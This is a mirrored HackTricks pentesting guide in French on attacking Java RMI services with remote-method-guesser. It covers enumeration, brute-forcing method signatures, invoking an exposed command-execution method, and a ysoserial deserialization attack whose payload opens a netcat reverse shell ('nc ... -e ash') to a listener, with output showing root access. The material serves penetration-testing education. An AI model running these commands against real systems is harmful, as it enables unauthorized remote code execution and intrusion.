Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-27 07:01:09 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/network-services-pentesting/1099-pentesting-java-rmi.md

20 KiB
Raw Blame History

1098/1099/1050 - Pentesting Java RMI - RMI-IIOP

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥


Utilisez Trickest pour créer et automatiser facilement des workflows alimentés par les outils communautaires les plus avancés au monde.
Obtenez un accès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Informations de base

L'invocation de méthode à distance Java, ou Java RMI, est un mécanisme RPC orienté objet qui permet à un objet situé dans une machine virtuelle Java d'appeler des méthodes sur un objet situé dans une autre machine virtuelle Java. Cela permet aux développeurs d'écrire des applications distribuées en utilisant un paradigme orienté objet. Une brève introduction à Java RMI d'un point de vue offensif peut être trouvée dans cette présentation blackhat.

Port par défaut : 1090,1098,1099,1199,4443-4446,8999-9010,9999

PORT      STATE SERVICE      VERSION
1090/tcp  open  ssl/java-rmi Java RMI
9010/tcp  open  java-rmi     Java RMI
37471/tcp open  java-rmi     Java RMI
40259/tcp open  ssl/java-rmi Java RMI

Généralement, seuls les composants par défaut de Java RMI (le RMI Registry et le Activation System) sont liés aux ports communs. Les objets distants qui implémentent l'application RMI réelle sont généralement liés à des ports aléatoires comme indiqué dans la sortie ci-dessus.

nmap a parfois des difficultés à identifier les services RMI protégés par SSL. Si vous rencontrez un service ssl inconnu sur un port RMI commun, vous devriez approfondir votre enquête.

Composants RMI

Pour simplifier, Java RMI permet à un développeur de rendre un objet Java disponible sur le réseau. Cela ouvre un port TCP où les clients peuvent se connecter et appeler des méthodes sur l'objet correspondant. Bien que cela semble simple, Java RMI doit résoudre plusieurs défis :

  1. Pour acheminer un appel de méthode via Java RMI, les clients doivent connaître l'adresse IP, le port d'écoute, la classe ou l'interface implémentée et l'ObjID de l'objet ciblé (l'ObjID est un identifiant unique et aléatoire créé lorsque l'objet est rendu disponible sur le réseau. Il est requis car Java RMI permet à plusieurs objets d'écouter sur le même port TCP).
  2. Les clients distants peuvent allouer des ressources sur le serveur en invoquant des méthodes sur l'objet exposé. La machine virtuelle Java doit suivre quelles ressources sont encore utilisées et lesquelles peuvent être collectées par le garbage collector.

Le premier défi est résolu par le RMI registry, qui est essentiellement un service de nommage pour Java RMI. Le RMI registry lui-même est également un service RMI, mais l'interface implémentée et l'ObjID sont fixes et connus de tous les clients RMI. Cela permet aux clients RMI de consommer le RMI registry en connaissant simplement le port TCP correspondant.

Lorsque les développeurs veulent rendre leurs objets Java disponibles sur le réseau, ils les lient généralement à un RMI registry. Le registry stocke toutes les informations nécessaires pour se connecter à l'objet (adresse IP, port d'écoute, classe ou interface implémentée et valeur de l'ObjID) et le rend disponible sous un nom lisible par l'homme (le nom lié). Les clients qui souhaitent consommer le service RMI demandent au RMI registry le nom lié correspondant et le registry renvoie toutes les informations nécessaires pour se connecter. Ainsi, la situation est essentiellement la même qu'avec un service DNS ordinaire. L'exemple suivant montre un petit exemple :

import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;

public class ExampleClient {

private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";

public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost);     // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName);  // Lookup the desired bound name
String response = ref.remoteMethod();                           // Call a remote method

} catch( Exception e) {
e.printStackTrace();
}
}
}

Le deuxième des défis mentionnés ci-dessus est résolu par le Distributed Garbage Collector (DGC). Il s'agit d'un autre service RMI avec une valeur ObjID bien connue et il est disponible sur pratiquement chaque point d'extrémité RMI. Lorsqu'un client RMI commence à utiliser un service RMI, il envoie une information au DGC indiquant que l'objet distant correspondant est en cours d'utilisation. Le DGC peut ensuite suivre le nombre de références et est capable de nettoyer les objets inutilisés.

Ensemble avec le Système d'Activation obsolète, ce sont les trois composants par défaut de Java RMI :

  1. Le Registre RMI (ObjID = 0)
  2. Le Système d'Activation (ObjID = 1)
  3. Le Distributed Garbage Collector (ObjID = 2)

Les composants par défaut de Java RMI sont connus comme vecteurs d'attaque depuis un certain temps et plusieurs vulnérabilités existent dans les versions obsolètes de Java. Du point de vue d'un attaquant, ces composants par défaut sont intéressants car ils implémentent des classes/interfaces connues et il est facile d'interagir avec eux. Cette situation est différente pour les services RMI personnalisés. Pour appeler une méthode sur un objet distant, vous devez connaître à l'avance la signature de la méthode correspondante. Sans connaître une signature de méthode existante, il n'est pas possible de communiquer avec un service RMI.

Énumération RMI

remote-method-guesser est un scanner de vulnérabilités Java RMI capable d'identifier automatiquement les vulnérabilités RMI courantes. Chaque fois que vous identifiez un point d'extrémité RMI, vous devriez l'essayer :

$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] 	- plain-server2
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] 	- legacy-service
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] 	- plain-server
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] 	- http://iinsecure.dev/well-hidden-development-folder/
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] 	- Caught ClassNotFoundException during lookup call.
[+] 	  --> The type java.lang.String is unmarshalled via readObject().
[+] 	  Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] 	- Caught MalformedURLException during lookup call.
[+] 	  --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] 	  Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] 	- Caught NotBoundException during unbind call (unbind was accepeted).
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] 	- Security Manager rejected access to the class loader.
[+] 	  --> The server does use a Security Manager.
[+] 	  Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] 	- DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] 	  Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] 	- Caught IllegalArgumentException after sending An Trinh gadget.
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] 	- Caught IllegalArgumentException during activate call (activator is present).
[+] 	  --> Deserialization allowed	 - Vulnerability Status: Vulnerable
[+] 	  --> Client codebase enabled	 - Configuration Status: Non Default

Le résultat de l'action d'énumération est expliqué plus en détail dans les pages de documentation du projet. Selon le résultat, vous devriez essayer de vérifier les vulnérabilités identifiées.

Les valeurs ObjID affichées par remote-method-guesser peuvent être utilisées pour déterminer le temps de disponibilité du service. Cela peut permettre d'identifier d'autres vulnérabilités :

$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: 		-4004948013687638236
[+] UID:
[+] 	Unique: 	1442798173
[+] 	Time: 		1640761503828 (Dec 29,2021 08:05)
[+] 	Count: 		-32760

Bruteforcer les méthodes à distance

Même lorsque aucune vulnérabilité n'a été identifiée lors de l'énumération, les services RMI disponibles peuvent toujours exposer des fonctions dangereuses. De plus, bien que la communication RMI avec les composants par défaut de RMI soit protégée par des filtres de désérialisation, ces filtres ne sont généralement pas en place lors de l'utilisation de services RMI personnalisés. Il est donc précieux de connaître les signatures de méthodes valides sur les services RMI.

Malheureusement, Java RMI ne prend pas en charge l'énumération des méthodes sur les objets distants. Cela étant dit, il est possible de forcer les signatures de méthodes avec des outils tels que remote-method-guesser ou rmiscout:

$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 	752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 	2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] 	MethodGuesser is running:
[+] 		--------------------------------
[+] 		[ plain-server2  ] HIT! Method with signature String execute(String dummy) exists!
[+] 		[ plain-server2  ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] 		[ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] 		[6562 / 6562] [#####################################] 100%
[+] 	done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] 	- plain-server2 == plain-server
[+] 		--> String execute(String dummy)
[+] 		--> String system(String dummy, String[] dummy2)
[+] 	- legacy-service
[+] 		--> void logMessage(int dummy1, String dummy2)
[+] 		--> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] 		--> String login(java.util.HashMap dummy1)

Les méthodes identifiées peuvent être appelées de la manière suivante :

$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)

Ou vous pouvez effectuer des attaques de désérialisation comme ceci:

$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] 	Using non primitive argument type java.lang.String on position 0
[+] 	Specified method signature is String execute(String dummy)
[+]
[+] 	Caught ClassNotFoundException during deserialization attack.
[+] 	Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] 	Deserialization attack probably worked :)

$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)

Plus d'informations peuvent être trouvées dans ces articles :

En plus de deviner, vous devriez également rechercher dans les moteurs de recherche ou sur GitHub l'interface ou même l'implémentation d'un service RMI rencontré. Le nom lié et le nom de la classe ou de l'interface implémentée peuvent être utiles ici.

Interfaces connues

remote-method-guesser marque les classes ou interfaces comme connues si elles sont répertoriées dans la base de données interne de l'outil des services RMI connus. Dans ces cas, vous pouvez utiliser l'action connue pour obtenir plus d'informations sur le service RMI correspondant :

$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] 	- jmxrmi
[+] 		--> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] 		    Endpoint: localhost:41695  TLS: no  ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]

$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] 	JMX Server
[+]
[+] Class Name:
[+] 	- javax.management.remote.rmi.RMIServerImpl_Stub
[+] 	- javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] 	Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] 	This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] 	method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] 	value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] 	actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] 	- String getVersion()
[+] 	- javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] 	- https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] 	- https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		MLet
[+]
[+] 	Description:
[+] 		MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] 		other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] 		is therefore most of the time equivalent to remote code execution.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		Deserialization
[+]
[+] 	Description:
[+] 		Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] 		method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] 		actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] 		establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter

Shodan

  • port:1099 java

Outils

Commandes automatiques HackTricks

Protocol_Name: Java RMI                                        #Protocol Abbreviation if there is one.
Port_Number:  1090,1098,1099,1199,4443-4446,8999-9010,9999     #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation            #Protocol Abbreviation Spelled out

Entry_1:
Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}


Utilisez Trickest pour construire et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.
Obtenez un accès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥